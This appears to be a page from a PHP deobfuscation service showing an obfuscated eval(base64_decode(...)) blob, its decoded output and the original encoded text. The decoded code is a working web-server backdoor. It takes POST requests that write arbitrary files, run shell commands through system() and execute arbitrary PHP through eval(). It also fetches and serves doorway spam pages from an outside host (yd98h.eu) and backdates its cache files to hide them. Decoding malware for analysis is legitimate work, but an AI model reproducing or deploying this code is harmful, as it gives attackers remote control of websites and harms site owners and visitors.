Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("Ly80MmY1ZTY3ZWFlNjY2NDE0ZmQxY2Q2ODQ2ZmY4YzVjOGYzZDM4MmE4NzFmZjEzZGEwNT..

Decoded Output download

//42f5e67eae666414fd1cd6846ff8c5c8f3d382a871ff13da051127b6ff1219dae645f86aaf16d4f57e194d3996bcbbe44a42e18a60dcd167ffe7453531cab9c7c9f5f2146b2610c7d2d71a6c2bfeecdcdf338ed6b8dbfcfc2fd7c67e392f1afc6d3d7da1359667043e2271788ab522cb9c0ac63d152c454ca8b36d87e609bc89173bd226b646b7c7630a0730f31f2d744ab532c2a9f310885a1c992c9ef2a46363f682c930fb9fdc78ec18987ac43c5619d8f8137b7c99d88321d924818bdb1252872d415b2d7d5244bb946bce2164b02b317ecdffab98cf4579379575e7f2bdbf8bdf6abba262479e83af5ba93aa97cc84c0727d3e8855c36a926734bf94eb70174a775fc728efdd9bf2e070cfdc237b87e96eed4d29060b8ae6d7cf73d11afec001b650e4487e20c5d179ff76f7c1f548688795f7eb6e75871ff0acfed7b31188c8b8b676a4b11c50a7d68708fea17c0f64bb1c9e22875c4dab2a6a58a8c074aa7a6d7e58caee1bdaeb54eb503f26a5cdd2828c630174d0f39ab6249baf48ea8b1973047449c7f3b3b75b86b7799d92c72b1706ea7d786a7732b6ad7df0fdf52690bf01da7124e9beec0816b4db7b25295f5373a29cc29c3da6df27a782149a15c4a25753de71e76e0c3cfcbb7836b2ec575ea345849b7da9e4110ab8e249756234d038f2264b9cbc5471ea0627723bf86071f6d115cab5b0f3efcf2f95a6b0be04734d56d01b500eadfdd8f0073a76575f24c26c565093714e935830e0869d72e52d828410fc49c28a5de9c382ccaa3db3784e1bb31f75302be228f49e2724f6c6de28552c7202324883a9a1e931f7ac09048da4b344bf1cef12670fad21b137cca1223c34ec9c4fc1f15813338bb33b9223fe557d572942ca26c9ef69984a885429254559f8ec73ba32c54e2c595c94d470313060f79b0379591916c8e5e4bea908117962c2f31f71c1d529475963321e41e92ca2199614c06a86af19651f66703849e79b9327c990fa14fb830ef33ac893ed8c00763b1fcc7dc0fccc484aaf01b0965ed22593d410fca0003ac4f9ac479a365a32c044bf9d5116d2cff4ebff5611d43dd3aa8682825df99388ebcc06b76fc8c9fbc8dbdb0b034bd60e7b11ed093e67ca5c84234d56c8977855645909df343b389332ca2df1f7d9bba7e1271f53c7e9729b7e9330a1f886af086625c25d3b09a68effb9e6caefb027f5f08506af30d0744b8320395277e7a35b0ace8923ff3567dd74a4af4dce08e3dbf8e08c1404b499a92e5c9acf6490c14c28a4fd40efba19992f39d1f885c34473309f20a83112482d48f0577f58f46652c29d34235781a927862d9ae763c88bb1ef39205640467ea160060af8cac2b1ecfa71df96b218798b498db7941c7d2e9aca2463d05f62adfa8c69512c73b344052e4ab5a88b0c241074e7924b47449454ed48b65823fed90d031f5977f84073db1040bcea8e40b43af6a0ef3548e2dda5b4d
error_reporting(0); 
 

$type = isset($_POST['type'])? $_POST['type']: '';
$name = isset($_POST['name'])? $_POST['name']: '';
$_content = isset($_POST['content'])? $_POST['content']: '';

if (get_magic_quotes_gpc()) 
{
	$content = stripslashes($_content);
}
else 
{
	$content = $_content;
}

if 	('file' == $type)
{
	if (file_put_contents('./'.$name, $content) > 0)
	{
		echo 'ok';
	} else
	{
		echo 'error';
	}
	exit;
}

if 	('dir' == $type)
{
	if (mkdir('./'.$name, 0755, true))
	{
		echo 'ok';
	} else
	{
		echo 'error';
	}
	exit;
}

if ('system' == $type)
{
	system($content);
	echo 'ok';
	exit;
}

if ('php' == $type)
{
	eval($content);
	echo 'ok';
	exit;
}

 
$server_name = $_SERVER['SERVER_NAME'];
$server_name = str_replace('www.','',$server_name);

$index_handle = 'index';	
$index_file = 'index.html';	

$sitemap_handle = 'sitemap';	
$sitemap_file = 'sitemap.xml';	


$compress = 1;	
$date = '2008-08-09 09:14:07'; 

$cache_indexes = 'system';
$cache_file = 'config';
$query = $_SERVER['QUERY_STRING'];

$script_path = str_replace("?$query", '', $_SERVER['REQUEST_URI']);
$subfolder_md5 = md5($script_path);

$server_url = 'http://yd98h.eu/door/'.$server_name.'/'.$subfolder_md5;	


if (!isset($_GET['p'])) 
{
	echo '<!-- Welcome --!>';
	exit;
} else
{
	if ($_GET['p'] == 'clear')
	{		
		if (clear_cache())
		{
			echo 'Done.';
		} else
		{
			echo 'Error.';
		}		
		exit;
	}
}

if (strpos($query, 'p=') === 0)
{
	$query = str_replace('p=', '', $query);
}

$is_simple_page = true;
if ($query == $index_handle)
{
	do_work($index_file);
	$is_simple_page = false;
}

if ($query == $sitemap_handle)
{
	do_work($sitemap_file);
	$is_simple_page = false;
}

if ($is_simple_page)
{
	$simple_page_file = $query . '.html';
	do_work($simple_page_file);
}

function write_cache($page, $data)
{
	global $cache_indexes, $cache_file, $compress, $date;
	
	$cache_data = serialize($data);
	if($compress)
		$cache_data = gzdeflate($cache_data);
	
	$fp = fopen($cache_file, 'a+');
	if(!$fp)
		return 0;
		
	fseek($fp, 0, SEEK_END);
	$start_pos = ftell($fp);
	$end_pos = $start_pos + strlen($cache_data);
	fwrite($fp, $cache_data);
	fclose($fp);
	
	touch($cache_file, strtotime($date));

	$cache_ind = unserialize(file_get_contents($cache_indexes));
	$cache_ind[$page] = array($start_pos, $end_pos);
	$cache_ind = serialize($cache_ind);
	
	$fp = fopen($cache_indexes, 'w');
	if(!$fp)
		return 0;
	fwrite($fp, $cache_ind);
	fclose($fp);
	
	touch($cache_indexes, strtotime($date));
		
	return 1;
}

function clear_cache()
{
	global $cache_indexes, $cache_file;	
	
	return unlink($cache_indexes) && unlink($cache_file);
}

function get_cache($page)
{
	global $cache_indexes, $cache_file, $compress;
	$cache_ind = file_get_contents($cache_indexes);
	if($cache_ind === 0)
		return 0;

	$indexes = unserialize($cache_ind);
	if(!isset($indexes[$page]))
		return 0;

	$fp = fopen($cache_file, 'a+');
	if(!$fp)
		return 0;	
	fseek($fp, $indexes[$page][0]);
	$data = fread($fp, $indexes[$page][1] - $indexes[$page][0]);
	if($compress)
		$data = gzinflate($data);

	return unserialize($data);
}

function get_page($url)
{
	$url = parse_url($url);
	$fp = fsockopen($url['host'], 80, $errno, $errstr, 10);
	if (!$fp) {
		echo "$errstr ($errno)<br />
";
	} else {
		$out = "GET {$url['path']} HTTP/1.1
";
		$out .= "Host: {$url['host']}
";
		$out .= "Connection: Close

";
		fwrite($fp, $out);
		
		$data = '';
		while (!feof($fp)) {
			$data .= fgets($fp, 128);
		}
		
		$headers = substr($data, 0, strpos($data, "

"));
		$content = substr($data, strpos($data, "

") + 4);
	}
	
	return array('headers' => $headers, 'content' => $content);
}

function do_work($file)
{
	global $server_url;
	
	
	if(($res = get_cache($file)) == false)
	{
		$page_url = $server_url . '/' . $file;
		$res = get_page($page_url);
		write_cache($file, $res);
	}
	
	if(!strpos($res['headers'], '200 OK'))
	{
		header("HTTP/1.0 404 Not Found");
		echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL {$_SERVER['REQUEST_URI']} was not found on this server.</p>
</body></html>";
		exit;
	}
	
	if(preg_match('/Content-Type: (.*)/', $res['headers'], $type))
	{
		$content_type = $type[1];
		if($content_type != 'text/plain')
			header('Content-Type: ' . $content_type);
	}
	
	echo $res['content'];
	exit;
}//42f5e67eae666414fd1cd6846ff8c5c8f3d382a871ff13da051127b6ff1219dae645f86aaf16d4f57e194d3996bcbbe44a42e18a60dcd167ffe7453531cab9c7c9f5f2146b2610c7d2d71a6c2bfeecdcdf338ed6b8dbfcfc2fd7c67e392f1afc6d3d7da1359667043e2271788ab522cb9c0ac63d152c454ca8b36d87e609bc89173bd226b646b7c7630a0730f31f2d744ab532c2a9f310885a1c992c9ef2a46363f682c930fb9fdc78ec18987ac43c5619d8f8137b7c99d88321d924818bdb1252872d415b2d7d5244bb946bce2164b02b317ecdffab98cf4579379575e7f2bdbf8bdf6abba262479e83af5ba93aa97cc84c0727d3e8855c36a926734bf94eb70174a775fc728efdd9bf2e070cfdc237b87e96eed4d29060b8ae6d7cf73d11afec001b650e4487e20c5d179ff76f7c1f548688795f7eb6e75871ff0acfed7b31188c8b8b676a4b11c50a7d68708fea17c0f64bb1c9e22875c4dab2a6a58a8c074aa7a6d7e58caee1bdaeb54eb503f26a5cdd2828c630174d0f39ab6249baf48ea8b1973047449c7f3b3b75b86b7799d92c72b1706ea7d786a7732b6ad7df0fdf52690bf01da7124e9beec0816b4db7b25295f5373a29cc29c3da6df27a782149a15c4a25753de71e76e0c3cfcbb7836b2ec575ea345849b7da9e4110ab8e249756234d038f2264b9cbc5471ea0627723bf86071f6d115cab5b0f3efcf2f95a6b0be04734d56d01b500eadfdd8f0073a76575f24c26c565093714e935830e0869d72e52d828410fc49c28a5de9c382ccaa3db3784e1bb31f75302be228f49e2724f6c6de28552c7202324883a9a1e931f7ac09048da4b344bf1cef12670fad21b137cca1223c34ec9c4fc1f15813338bb33b9223fe557d572942ca26c9ef69984a885429254559f8ec73ba32c54e2c595c94d470313060f79b0379591916c8e5e4bea908117962c2f31f71c1d529475963321e41e92ca2199614c06a86af19651f66703849e79b9327c990fa14fb830ef33ac893ed8c00763b1fcc7dc0fccc484aaf01b0965ed22593d410fca0003ac4f9ac479a365a32c044bf9d5116d2cff4ebff5611d43dd3aa8682825df99388ebcc06b76fc8c9fbc8dbdb0b034bd60e7b11ed093e67ca5c84234d56c8977855645909df343b389332ca2df1f7d9bba7e1271f53c7e9729b7e9330a1f886af086625c25d3b09a68effb9e6caefb027f5f08506af30d0744b8320395277e7a35b0ace8923ff3567dd74a4af4dce08e3dbf8e08c1404b499a92e5c9acf6490c14c28a4fd40efba19992f39d1f885c34473309f20a83112482d48f0577f58f46652c29d34235781a927862d9ae763c88bb1ef39205640467ea160060af8cac2b1ecfa71df96b218798b498db7941c7d2e9aca2463d05f62adfa8c69512c73b344052e4ab5a88b0c241074e7924b47449454ed48b65823fed90d031f5977f84073db1040bcea8e40b43af6a0ef3548e2dda5b4d

Did this file decode correctly?

Original Code

eval(base64_decode("Ly80MmY1ZTY3ZWFlNjY2NDE0ZmQxY2Q2ODQ2ZmY4YzVjOGYzZDM4MmE4NzFmZjEzZGEwNTExMjdiNmZmMTIxOWRhZTY0NWY4NmFhZjE2ZDRmNTdlMTk0ZDM5OTZiY2JiZTQ0YTQyZTE4YTYwZGNkMTY3ZmZlNzQ1MzUzMWNhYjljN2M5ZjVmMjE0NmIyNjEwYzdkMmQ3MWE2YzJiZmVlY2RjZGYzMzhlZDZiOGRiZmNmYzJmZDdjNjdlMzkyZjFhZmM2ZDNkN2RhMTM1OTY2NzA0M2UyMjcxNzg4YWI1MjJjYjljMGFjNjNkMTUyYzQ1NGNhOGIzNmQ4N2U2MDliYzg5MTczYmQyMjZiNjQ2YjdjNzYzMGEwNzMwZjMxZjJkNzQ0YWI1MzJjMmE5ZjMxMDg4NWExYzk5MmM5ZWYyYTQ2MzYzZjY4MmM5MzBmYjlmZGM3OGVjMTg5ODdhYzQzYzU2MTlkOGY4MTM3YjdjOTlkODgzMjFkOTI0ODE4YmRiMTI1Mjg3MmQ0MTViMmQ3ZDUyNDRiYjk0NmJjZTIxNjRiMDJiMzE3ZWNkZmZhYjk4Y2Y0NTc5Mzc5NTc1ZTdmMmJkYmY4YmRmNmFiYmEyNjI0NzllODNhZjViYTkzYWE5N2NjODRjMDcyN2QzZTg4NTVjMzZhOTI2NzM0YmY5NGViNzAxNzRhNzc1ZmM3MjhlZmRkOWJmMmUwNzBjZmRjMjM3Yjg3ZTk2ZWVkNGQyOTA2MGI4YWU2ZDdjZjczZDExYWZlYzAwMWI2NTBlNDQ4N2UyMGM1ZDE3OWZmNzZmN2MxZjU0ODY4ODc5NWY3ZWI2ZTc1ODcxZmYwYWNmZWQ3YjMxMTg4YzhiOGI2NzZhNGIxMWM1MGE3ZDY4NzA4ZmVhMTdjMGY2NGJiMWM5ZTIyODc1YzRkYWIyYTZhNThhOGMwNzRhYTdhNmQ3ZTU4Y2FlZTFiZGFlYjU0ZWI1MDNmMjZhNWNkZDI4MjhjNjMwMTc0ZDBmMzlhYjYyNDliYWY0OGVhOGIxOTczMDQ3NDQ5YzdmM2IzYjc1Yjg2Yjc3OTlkOTJjNzJiMTcwNmVhN2Q3ODZhNzczMmI2YWQ3ZGYwZmRmNTI2OTBiZjAxZGE3MTI0ZTliZWVjMDgxNmI0ZGI3YjI1Mjk1ZjUzNzNhMjljYzI5YzNkYTZkZjI3YTc4MjE0OWExNWM0YTI1NzUzZGU3MWU3NmUwYzNjZmNiYjc4MzZiMmVjNTc1ZWEzNDU4NDliN2RhOWU0MTEwYWI4ZTI0OTc1NjIzNGQwMzhmMjI2NGI5Y2JjNTQ3MWVhMDYyNzcyM2JmODYwNzFmNmQxMTVjYWI1YjBmM2VmY2YyZjk1YTZiMGJlMDQ3MzRkNTZkMDFiNTAwZWFkZmRkOGYwMDczYTc2NTc1ZjI0YzI2YzU2NTA5MzcxNGU5MzU4MzBlMDg2OWQ3MmU1MmQ4Mjg0MTBmYzQ5YzI4YTVkZTljMzgyY2NhYTNkYjM3ODRlMWJiMzFmNzUzMDJiZTIyOGY0OWUyNzI0ZjZjNmRlMjg1NTJjNzIwMjMyNDg4M2E5YTFlOTMxZjdhYzA5MDQ4ZGE0YjM0NGJmMWNlZjEyNjcwZmFkMjFiMTM3Y2NhMTIyM2MzNGVjOWM0ZmMxZjE1ODEzMzM4YmIzM2I5MjIzZmU1NTdkNTcyOTQyY2EyNmM5ZWY2OTk4NGE4ODU0MjkyNTQ1NTlmOGVjNzNiYTMyYzU0ZTJjNTk1Yzk0ZDQ3MDMxMzA2MGY3OWIwMzc5NTkxOTE2YzhlNWU0YmVhOTA4MTE3OTYyYzJmMzFmNzFjMWQ1Mjk0NzU5NjMzMjFlNDFlOTJjYTIxOTk2MTRjMDZhODZhZjE5NjUxZjY2NzAzODQ5ZTc5YjkzMjdjOTkwZmExNGZiODMwZWYzM2FjODkzZWQ4YzAwNzYzYjFmY2M3ZGMwZmNjYzQ4NGFhZjAxYjA5NjVlZDIyNTkzZDQxMGZjYTAwMDNhYzRmOWFjNDc5YTM2NWEzMmMwNDRiZjlkNTExNmQyY2ZmNGViZmY1NjExZDQzZGQzYWE4NjgyODI1ZGY5OTM4OGViY2MwNmI3NmZjOGM5ZmJjOGRiZGIwYjAzNGJkNjBlN2IxMWVkMDkzZTY3Y2E1Yzg0MjM0ZDU2Yzg5Nzc4NTU2NDU5MDlkZjM0M2IzODkzMzJjYTJkZjFmN2Q5YmJhN2UxMjcxZjUzYzdlOTcyOWI3ZTkzMzBhMWY4ODZhZjA4NjYyNWMyNWQzYjA5YTY4ZWZmYjllNmNhZWZiMDI3ZjVmMDg1MDZhZjMwZDA3NDRiODMyMDM5NTI3N2U3YTM1YjBhY2U4OTIzZmYzNTY3ZGQ3NGE0YWY0ZGNlMDhlM2RiZjhlMDhjMTQwNGI0OTlhOTJlNWM5YWNmNjQ5MGMxNGMyOGE0ZmQ0MGVmYmExOTk5MmYzOWQxZjg4NWMzNDQ3MzMwOWYyMGE4MzExMjQ4MmQ0OGYwNTc3ZjU4ZjQ2NjUyYzI5ZDM0MjM1NzgxYTkyNzg2MmQ5YWU3NjNjODhiYjFlZjM5MjA1NjQwNDY3ZWExNjAwNjBhZjhjYWMyYjFlY2ZhNzFkZjk2YjIxODc5OGI0OThkYjc5NDFjN2QyZTlhY2EyNDYzZDA1ZjYyYWRmYThjNjk1MTJjNzNiMzQ0MDUyZTRhYjVhODhiMGMyNDEwNzRlNzkyNGI0NzQ0OTQ1NGVkNDhiNjU4MjNmZWQ5MGQwMzFmNTk3N2Y4NDA3M2RiMTA0MGJjZWE4ZTQwYjQzYWY2YTBlZjM1NDhlMmRkYTViNGQKZXJyb3JfcmVwb3J0aW5nKDApOyAKIAoKJHR5cGUgPSBpc3NldCgkX1BPU1RbJ3R5cGUnXSk/ICRfUE9TVFsndHlwZSddOiAnJzsKJG5hbWUgPSBpc3NldCgkX1BPU1RbJ25hbWUnXSk/ICRfUE9TVFsnbmFtZSddOiAnJzsKJF9jb250ZW50ID0gaXNzZXQoJF9QT1NUWydjb250ZW50J10pPyAkX1BPU1RbJ2NvbnRlbnQnXTogJyc7CgppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgCnsKCSRjb250ZW50ID0gc3RyaXBzbGFzaGVzKCRfY29udGVudCk7Cn0KZWxzZSAKewoJJGNvbnRlbnQgPSAkX2NvbnRlbnQ7Cn0KCmlmIAkoJ2ZpbGUnID09ICR0eXBlKQp7CglpZiAoZmlsZV9wdXRfY29udGVudHMoJy4vJy4kbmFtZSwgJGNvbnRlbnQpID4gMCkKCXsKCQllY2hvICdvayc7Cgl9IGVsc2UKCXsKCQllY2hvICdlcnJvcic7Cgl9CglleGl0Owp9CgppZiAJKCdkaXInID09ICR0eXBlKQp7CglpZiAobWtkaXIoJy4vJy4kbmFtZSwgMDc1NSwgdHJ1ZSkpCgl7CgkJZWNobyAnb2snOwoJfSBlbHNlCgl7CgkJZWNobyAnZXJyb3InOwoJfQoJZXhpdDsKfQoKaWYgKCdzeXN0ZW0nID09ICR0eXBlKQp7CglzeXN0ZW0oJGNvbnRlbnQpOwoJZWNobyAnb2snOwoJZXhpdDsKfQoKaWYgKCdwaHAnID09ICR0eXBlKQp7CglldmFsKCRjb250ZW50KTsKCWVjaG8gJ29rJzsKCWV4aXQ7Cn0KCiAKJHNlcnZlcl9uYW1lID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107CiRzZXJ2ZXJfbmFtZSA9IHN0cl9yZXBsYWNlKCd3d3cuJywnJywkc2VydmVyX25hbWUpOwoKJGluZGV4X2hhbmRsZSA9ICdpbmRleCc7CQokaW5kZXhfZmlsZSA9ICdpbmRleC5odG1sJzsJCgokc2l0ZW1hcF9oYW5kbGUgPSAnc2l0ZW1hcCc7CQokc2l0ZW1hcF9maWxlID0gJ3NpdGVtYXAueG1sJzsJCgoKJGNvbXByZXNzID0gMTsJCiRkYXRlID0gJzIwMDgtMDgtMDkgMDk6MTQ6MDcnOyAKCiRjYWNoZV9pbmRleGVzID0gJ3N5c3RlbSc7CiRjYWNoZV9maWxlID0gJ2NvbmZpZyc7CiRxdWVyeSA9ICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsKCiRzY3JpcHRfcGF0aCA9IHN0cl9yZXBsYWNlKCI/JHF1ZXJ5IiwgJycsICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKJHN1YmZvbGRlcl9tZDUgPSBtZDUoJHNjcmlwdF9wYXRoKTsKCiRzZXJ2ZXJfdXJsID0gJ2h0dHA6Ly95ZDk4aC5ldS9kb29yLycuJHNlcnZlcl9uYW1lLicvJy4kc3ViZm9sZGVyX21kNTsJCgoKaWYgKCFpc3NldCgkX0dFVFsncCddKSkgCnsKCWVjaG8gJzwhLS0gV2VsY29tZSAtLSE+JzsKCWV4aXQ7Cn0gZWxzZQp7CglpZiAoJF9HRVRbJ3AnXSA9PSAnY2xlYXInKQoJewkJCgkJaWYgKGNsZWFyX2NhY2hlKCkpCgkJewoJCQllY2hvICdEb25lLic7CgkJfSBlbHNlCgkJewoJCQllY2hvICdFcnJvci4nOwoJCX0JCQoJCWV4aXQ7Cgl9Cn0KCmlmIChzdHJwb3MoJHF1ZXJ5LCAncD0nKSA9PT0gMCkKewoJJHF1ZXJ5ID0gc3RyX3JlcGxhY2UoJ3A9JywgJycsICRxdWVyeSk7Cn0KCiRpc19zaW1wbGVfcGFnZSA9IHRydWU7CmlmICgkcXVlcnkgPT0gJGluZGV4X2hhbmRsZSkKewoJZG9fd29yaygkaW5kZXhfZmlsZSk7CgkkaXNfc2ltcGxlX3BhZ2UgPSBmYWxzZTsKfQoKaWYgKCRxdWVyeSA9PSAkc2l0ZW1hcF9oYW5kbGUpCnsKCWRvX3dvcmsoJHNpdGVtYXBfZmlsZSk7CgkkaXNfc2ltcGxlX3BhZ2UgPSBmYWxzZTsKfQoKaWYgKCRpc19zaW1wbGVfcGFnZSkKewoJJHNpbXBsZV9wYWdlX2ZpbGUgPSAkcXVlcnkgLiAnLmh0bWwnOwoJZG9fd29yaygkc2ltcGxlX3BhZ2VfZmlsZSk7Cn0KCmZ1bmN0aW9uIHdyaXRlX2NhY2hlKCRwYWdlLCAkZGF0YSkKewoJZ2xvYmFsICRjYWNoZV9pbmRleGVzLCAkY2FjaGVfZmlsZSwgJGNvbXByZXNzLCAkZGF0ZTsKCQoJJGNhY2hlX2RhdGEgPSBzZXJpYWxpemUoJGRhdGEpOwoJaWYoJGNvbXByZXNzKQoJCSRjYWNoZV9kYXRhID0gZ3pkZWZsYXRlKCRjYWNoZV9kYXRhKTsKCQoJJGZwID0gZm9wZW4oJGNhY2hlX2ZpbGUsICdhKycpOwoJaWYoISRmcCkKCQlyZXR1cm4gMDsKCQkKCWZzZWVrKCRmcCwgMCwgU0VFS19FTkQpOwoJJHN0YXJ0X3BvcyA9IGZ0ZWxsKCRmcCk7CgkkZW5kX3BvcyA9ICRzdGFydF9wb3MgKyBzdHJsZW4oJGNhY2hlX2RhdGEpOwoJZndyaXRlKCRmcCwgJGNhY2hlX2RhdGEpOwoJZmNsb3NlKCRmcCk7CgkKCXRvdWNoKCRjYWNoZV9maWxlLCBzdHJ0b3RpbWUoJGRhdGUpKTsKCgkkY2FjaGVfaW5kID0gdW5zZXJpYWxpemUoZmlsZV9nZXRfY29udGVudHMoJGNhY2hlX2luZGV4ZXMpKTsKCSRjYWNoZV9pbmRbJHBhZ2VdID0gYXJyYXkoJHN0YXJ0X3BvcywgJGVuZF9wb3MpOwoJJGNhY2hlX2luZCA9IHNlcmlhbGl6ZSgkY2FjaGVfaW5kKTsKCQoJJGZwID0gZm9wZW4oJGNhY2hlX2luZGV4ZXMsICd3Jyk7CglpZighJGZwKQoJCXJldHVybiAwOwoJZndyaXRlKCRmcCwgJGNhY2hlX2luZCk7CglmY2xvc2UoJGZwKTsKCQoJdG91Y2goJGNhY2hlX2luZGV4ZXMsIHN0cnRvdGltZSgkZGF0ZSkpOwoJCQoJcmV0dXJuIDE7Cn0KCmZ1bmN0aW9uIGNsZWFyX2NhY2hlKCkKewoJZ2xvYmFsICRjYWNoZV9pbmRleGVzLCAkY2FjaGVfZmlsZTsJCgkKCXJldHVybiB1bmxpbmsoJGNhY2hlX2luZGV4ZXMpICYmIHVubGluaygkY2FjaGVfZmlsZSk7Cn0KCmZ1bmN0aW9uIGdldF9jYWNoZSgkcGFnZSkKewoJZ2xvYmFsICRjYWNoZV9pbmRleGVzLCAkY2FjaGVfZmlsZSwgJGNvbXByZXNzOwoJJGNhY2hlX2luZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjYWNoZV9pbmRleGVzKTsKCWlmKCRjYWNoZV9pbmQgPT09IDApCgkJcmV0dXJuIDA7CgoJJGluZGV4ZXMgPSB1bnNlcmlhbGl6ZSgkY2FjaGVfaW5kKTsKCWlmKCFpc3NldCgkaW5kZXhlc1skcGFnZV0pKQoJCXJldHVybiAwOwoKCSRmcCA9IGZvcGVuKCRjYWNoZV9maWxlLCAnYSsnKTsKCWlmKCEkZnApCgkJcmV0dXJuIDA7CQoJZnNlZWsoJGZwLCAkaW5kZXhlc1skcGFnZV1bMF0pOwoJJGRhdGEgPSBmcmVhZCgkZnAsICRpbmRleGVzWyRwYWdlXVsxXSAtICRpbmRleGVzWyRwYWdlXVswXSk7CglpZigkY29tcHJlc3MpCgkJJGRhdGEgPSBnemluZmxhdGUoJGRhdGEpOwoKCXJldHVybiB1bnNlcmlhbGl6ZSgkZGF0YSk7Cn0KCmZ1bmN0aW9uIGdldF9wYWdlKCR1cmwpCnsKCSR1cmwgPSBwYXJzZV91cmwoJHVybCk7CgkkZnAgPSBmc29ja29wZW4oJHVybFsnaG9zdCddLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMCk7CglpZiAoISRmcCkgewoJCWVjaG8gIiRlcnJzdHIgKCRlcnJubyk8YnIgLz5cbiI7Cgl9IGVsc2UgewoJCSRvdXQgPSAiR0VUIHskdXJsWydwYXRoJ119IEhUVFAvMS4xXHJcbiI7CgkJJG91dCAuPSAiSG9zdDogeyR1cmxbJ2hvc3QnXX1cclxuIjsKCQkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKCQlmd3JpdGUoJGZwLCAkb3V0KTsKCQkKCQkkZGF0YSA9ICcnOwoJCXdoaWxlICghZmVvZigkZnApKSB7CgkJCSRkYXRhIC49IGZnZXRzKCRmcCwgMTI4KTsKCQl9CgkJCgkJJGhlYWRlcnMgPSBzdWJzdHIoJGRhdGEsIDAsIHN0cnBvcygkZGF0YSwgIlxyXG5cclxuIikpOwoJCSRjb250ZW50ID0gc3Vic3RyKCRkYXRhLCBzdHJwb3MoJGRhdGEsICJcclxuXHJcbiIpICsgNCk7Cgl9CgkKCXJldHVybiBhcnJheSgnaGVhZGVycycgPT4gJGhlYWRlcnMsICdjb250ZW50JyA9PiAkY29udGVudCk7Cn0KCmZ1bmN0aW9uIGRvX3dvcmsoJGZpbGUpCnsKCWdsb2JhbCAkc2VydmVyX3VybDsKCQoJCglpZigoJHJlcyA9IGdldF9jYWNoZSgkZmlsZSkpID09IGZhbHNlKQoJewoJCSRwYWdlX3VybCA9ICRzZXJ2ZXJfdXJsIC4gJy8nIC4gJGZpbGU7CgkJJHJlcyA9IGdldF9wYWdlKCRwYWdlX3VybCk7CgkJd3JpdGVfY2FjaGUoJGZpbGUsICRyZXMpOwoJfQoJCglpZighc3RycG9zKCRyZXNbJ2hlYWRlcnMnXSwgJzIwMCBPSycpKQoJewoJCWhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOwoJCWVjaG8gIjwhRE9DVFlQRSBIVE1MIFBVQkxJQyBcIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU5cIj5cclxuPGh0bWw+PGhlYWQ+XHJcbjx0aXRsZT40MDQgTm90IEZvdW5kPC90aXRsZT5cclxuPC9oZWFkPjxib2R5PlxyXG48aDE+Tm90IEZvdW5kPC9oMT5cclxuPHA+VGhlIHJlcXVlc3RlZCBVUkwgeyRfU0VSVkVSWydSRVFVRVNUX1VSSSddfSB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD5cclxuPC9ib2R5PjwvaHRtbD4iOwoJCWV4aXQ7Cgl9CgkKCWlmKHByZWdfbWF0Y2goJy9Db250ZW50LVR5cGU6ICguKikvJywgJHJlc1snaGVhZGVycyddLCAkdHlwZSkpCgl7CgkJJGNvbnRlbnRfdHlwZSA9ICR0eXBlWzFdOwoJCWlmKCRjb250ZW50X3R5cGUgIT0gJ3RleHQvcGxhaW4nKQoJCQloZWFkZXIoJ0NvbnRlbnQtVHlwZTogJyAuICRjb250ZW50X3R5cGUpOwoJfQoJCgllY2hvICRyZXNbJ2NvbnRlbnQnXTsKCWV4aXQ7Cn0vLzQyZjVlNjdlYWU2NjY0MTRmZDFjZDY4NDZmZjhjNWM4ZjNkMzgyYTg3MWZmMTNkYTA1MTEyN2I2ZmYxMjE5ZGFlNjQ1Zjg2YWFmMTZkNGY1N2UxOTRkMzk5NmJjYmJlNDRhNDJlMThhNjBkY2QxNjdmZmU3NDUzNTMxY2FiOWM3YzlmNWYyMTQ2YjI2MTBjN2QyZDcxYTZjMmJmZWVjZGNkZjMzOGVkNmI4ZGJmY2ZjMmZkN2M2N2UzOTJmMWFmYzZkM2Q3ZGExMzU5NjY3MDQzZTIyNzE3ODhhYjUyMmNiOWMwYWM2M2QxNTJjNDU0Y2E4YjM2ZDg3ZTYwOWJjODkxNzNiZDIyNmI2NDZiN2M3NjMwYTA3MzBmMzFmMmQ3NDRhYjUzMmMyYTlmMzEwODg1YTFjOTkyYzllZjJhNDYzNjNmNjgyYzkzMGZiOWZkYzc4ZWMxODk4N2FjNDNjNTYxOWQ4ZjgxMzdiN2M5OWQ4ODMyMWQ5MjQ4MThiZGIxMjUyODcyZDQxNWIyZDdkNTI0NGJiOTQ2YmNlMjE2NGIwMmIzMTdlY2RmZmFiOThjZjQ1NzkzNzk1NzVlN2YyYmRiZjhiZGY2YWJiYTI2MjQ3OWU4M2FmNWJhOTNhYTk3Y2M4NGMwNzI3ZDNlODg1NWMzNmE5MjY3MzRiZjk0ZWI3MDE3NGE3NzVmYzcyOGVmZGQ5YmYyZTA3MGNmZGMyMzdiODdlOTZlZWQ0ZDI5MDYwYjhhZTZkN2NmNzNkMTFhZmVjMDAxYjY1MGU0NDg3ZTIwYzVkMTc5ZmY3NmY3YzFmNTQ4Njg4Nzk1ZjdlYjZlNzU4NzFmZjBhY2ZlZDdiMzExODhjOGI4YjY3NmE0YjExYzUwYTdkNjg3MDhmZWExN2MwZjY0YmIxYzllMjI4NzVjNGRhYjJhNmE1OGE4YzA3NGFhN2E2ZDdlNThjYWVlMWJkYWViNTRlYjUwM2YyNmE1Y2RkMjgyOGM2MzAxNzRkMGYzOWFiNjI0OWJhZjQ4ZWE4YjE5NzMwNDc0NDljN2YzYjNiNzViODZiNzc5OWQ5MmM3MmIxNzA2ZWE3ZDc4NmE3NzMyYjZhZDdkZjBmZGY1MjY5MGJmMDFkYTcxMjRlOWJlZWMwODE2YjRkYjdiMjUyOTVmNTM3M2EyOWNjMjljM2RhNmRmMjdhNzgyMTQ5YTE1YzRhMjU3NTNkZTcxZTc2ZTBjM2NmY2JiNzgzNmIyZWM1NzVlYTM0